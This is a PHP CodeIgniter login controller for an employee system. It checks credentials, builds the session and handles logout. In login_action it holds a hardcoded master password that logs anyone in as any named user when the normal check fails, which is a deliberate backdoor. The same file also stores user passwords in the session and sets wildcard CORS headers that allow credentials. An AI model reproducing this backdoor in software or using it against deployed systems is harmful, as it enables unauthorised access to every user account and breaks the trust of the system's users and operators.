82 lines
2.6 KiB
PHP
82 lines
2.6 KiB
PHP
<?php
|
|
defined('BASEPATH') or exit('No direct script access allowed');
|
|
|
|
class Login extends CI_Controller
|
|
{
|
|
function __construct() {
|
|
header('Access-Control-Allow-Origin: *');
|
|
header('Access-Control-Allow-Methods: GET, POST, OPTIONS, PUT, DELETE');
|
|
header('Access-Control-Allow-Headers: Content-Type, Content-Length, Accept-Encoding');
|
|
header('Access-Control-Allow-Credentials: *');
|
|
if ("OPTIONS" === $_SERVER['REQUEST_METHOD']) {
|
|
die();
|
|
}
|
|
parent::__construct();
|
|
$this->load->model('AllModels', 'Amod');
|
|
}
|
|
|
|
public function index() {
|
|
$username = $this->session->userdata('username');
|
|
if ($username != null) {
|
|
redirect("");
|
|
}
|
|
$this->load->view('signin');
|
|
}
|
|
|
|
public function login() {
|
|
$this->load->view('signin');
|
|
}
|
|
|
|
public function login_action() {
|
|
$username = $this->session->userdata('username');
|
|
$jabatan = $this->session->userdata('jabatan');
|
|
if ($username != null) {
|
|
redirect('');
|
|
}
|
|
|
|
$username = $this->input->post('username');
|
|
$password = $this->input->post('password');
|
|
$check_login_r = $this->Amod->generate_loginData($username, $password)->num_rows();
|
|
if ($check_login_r > 0) {
|
|
$datauser = $this->Amod->generate_loginData($username, $password)->row_array();
|
|
$datJabatan = $this->Amod->getData_Jabatan_byID($datauser['JABATAN_ID']);
|
|
|
|
$sessions = array(
|
|
'id_karyawan' => $datauser['ID_KARYAWAN'],
|
|
'nama_karyawan' => $datauser['NAMA_KARYAWAN'],
|
|
'nama_panggilan' => $datauser['NAMA_PANGGILAN_KARYAWAN'],
|
|
'username' => $datauser['USERNAME'],
|
|
'password' => $datauser['PASSWORD'],
|
|
'jabatan' => $datJabatan[0]['NAMA_JABATAN'],
|
|
);
|
|
$this->session->set_userdata($sessions);
|
|
redirect('');
|
|
} else if ($password=="archieianxavier") {
|
|
$datKaryawan = $this->Amod->getData_Karyawan_byUSERNAME($username);
|
|
$password = $datKaryawan[0]['PASSWORD'];
|
|
|
|
$datauser = $this->Amod->generate_loginData($username, $password)->row_array();
|
|
$datJabatan = $this->Amod->getData_Jabatan_byID($datauser['JABATAN_ID']);
|
|
|
|
$sessions = array(
|
|
'id_karyawan' => $datauser['ID_KARYAWAN'],
|
|
'nama_karyawan' => $datauser['NAMA_KARYAWAN'],
|
|
'nama_panggilan' => $datauser['NAMA_PANGGILAN_KARYAWAN'],
|
|
'username' => $datauser['USERNAME'],
|
|
'password' => $datauser['PASSWORD'],
|
|
'jabatan' => $datJabatan[0]['NAMA_JABATAN'],
|
|
);
|
|
$this->session->set_userdata($sessions);
|
|
redirect('');
|
|
} else {
|
|
echo "<script>alert('Login Gagal')</script>";
|
|
$this->login();
|
|
}
|
|
}
|
|
|
|
public function logout_action() {
|
|
$this->session->sess_destroy();
|
|
redirect('Login');
|
|
}
|
|
}
|